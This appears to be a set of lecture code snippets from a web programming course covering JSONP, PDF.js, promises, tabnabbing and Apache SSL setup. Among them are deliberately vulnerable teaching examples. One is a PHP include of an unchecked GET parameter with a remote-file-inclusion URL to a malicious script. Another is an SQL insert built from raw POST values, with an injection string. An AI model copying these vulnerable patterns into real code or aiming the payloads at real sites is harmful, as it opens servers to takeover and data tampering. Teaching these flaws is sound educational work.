CS174
Chris Pollett
Nov. 23, 2020
// API callback myHandleDataCode({"language":"en-US","link":"http...etc...etc ...});
<script> function myHandleDataCode(obj) { // do something pretty with json data } <script> <script src="https://www.yioop.com/s/news?f=json&callback=myHandleDataCode" />
<script src="http://url_for_pdf.js/pdf.js" ></script> <script> function renderPdfPage(media_obj, num) { if (media_obj.reflect_rendering) { return; } var media_name = media_obj.reflect_name; media_obj.reflect_page_num = num; media_obj.reflect_rendering = true; media_obj.getPage(num).then(function(page) { var viewport = page.getViewport(1.5, parseInt(media_obj.reflect_orientation)); var canvas = document.getElementById('area-' + media_name); var context = canvas.getContext('2d'); canvas.height = viewport.height; canvas.width = viewport.width; var renderContext = { canvasContext: context, viewport: viewport }; var renderTask = page.render(renderContext); renderTask.promise.then(function () { media_obj.reflect_rendering = false; }); }); } PDFJS.getDocument(url_of_document_viewing).then( function (pdf) { if (localStorage) { old_page = localStorage.getItem(url_of_document_viewing_old_page); renderPdfPage(pdf, old_page); } else { renderPdfPage(pdf, 1); } } ); </script>
my_promise = new Promise( function (resolve, reject) { /* this is the main code that your promise executes. request and reject are two callbacks your promise calls on success or failure. */ } ); // to use the promise we then have code like: my_promise.then(function(arg_list) { // when anonymous function above calls resolve this code runs. }).catch(function(arg_list) { // when anonymous function above calls reject this code runs. } )
Which of the following statements is true?
<html><head>...</head> <body> <div id="leftcolumn"> <ul><li><a href="?c=n.html">News</a></li> <li><a href="?c=d.html">Discussions</a></li></ul> </div> <div id="content"> <?php if(isset($_GET['c'])){include($_GET['c']);} else {include("default.php");} ?> </div></body></html>
http://somewhere.com/?c=http://www.mymalicioussite.com/evilscript.php
$sql = "INSERT INTO users (reg_username, reg_password, reg_email) VALUES ('{$_POST['reg_username']}', $_POST[ '$reg_password'], '{$_POST['reg_email']}')";
bad_guy', 'mypass', ''), ('good_guy?
<script> document.write("<button onclick='childOpener()'>Open Child Tab</button>"); function childOpener() { var child_tab = window.open("", "_blank"); // aside: replace "" with some url // if want to open tab at diff site child_tab.document.write( "<!DOCTYPE html>" + "<html><head><title>Child Script Test</title></head>" + "<body>" + "<p><button onclick='changeParent()'>Change Parent</button></p>" + "<script>" + "function changeParent() {" + " window.opener.document.write('<p>New content for parent tab</p>');" + " window.opener.document.stop()" + "} <" + "/script></body></html>"); child_tab.stop(); child_tab.focus(); } </script>
<a href="http://somewhere.com/" target="_blank" rel="noopener noreferrer">Go Somewhere</a>
LoadModule ssl_module libexec/apache2/mod_ssl.so
server.key and server.crt
openssl genrsa -des3 -out server.key 1024
openssl req -new -key server.key -out server.csr
openssl x509 -req -days 365 -in server.csr -signkey server.key -out server.crt(
openssl s_client -crlf -connect pollett.org:443 ...This will print info about the establishment of the SSL connection including SSL certificate and handshake, after which you can enter normal HTTP commands ... GET / HTTP/1.1 Host: pollett.org ...get web page page...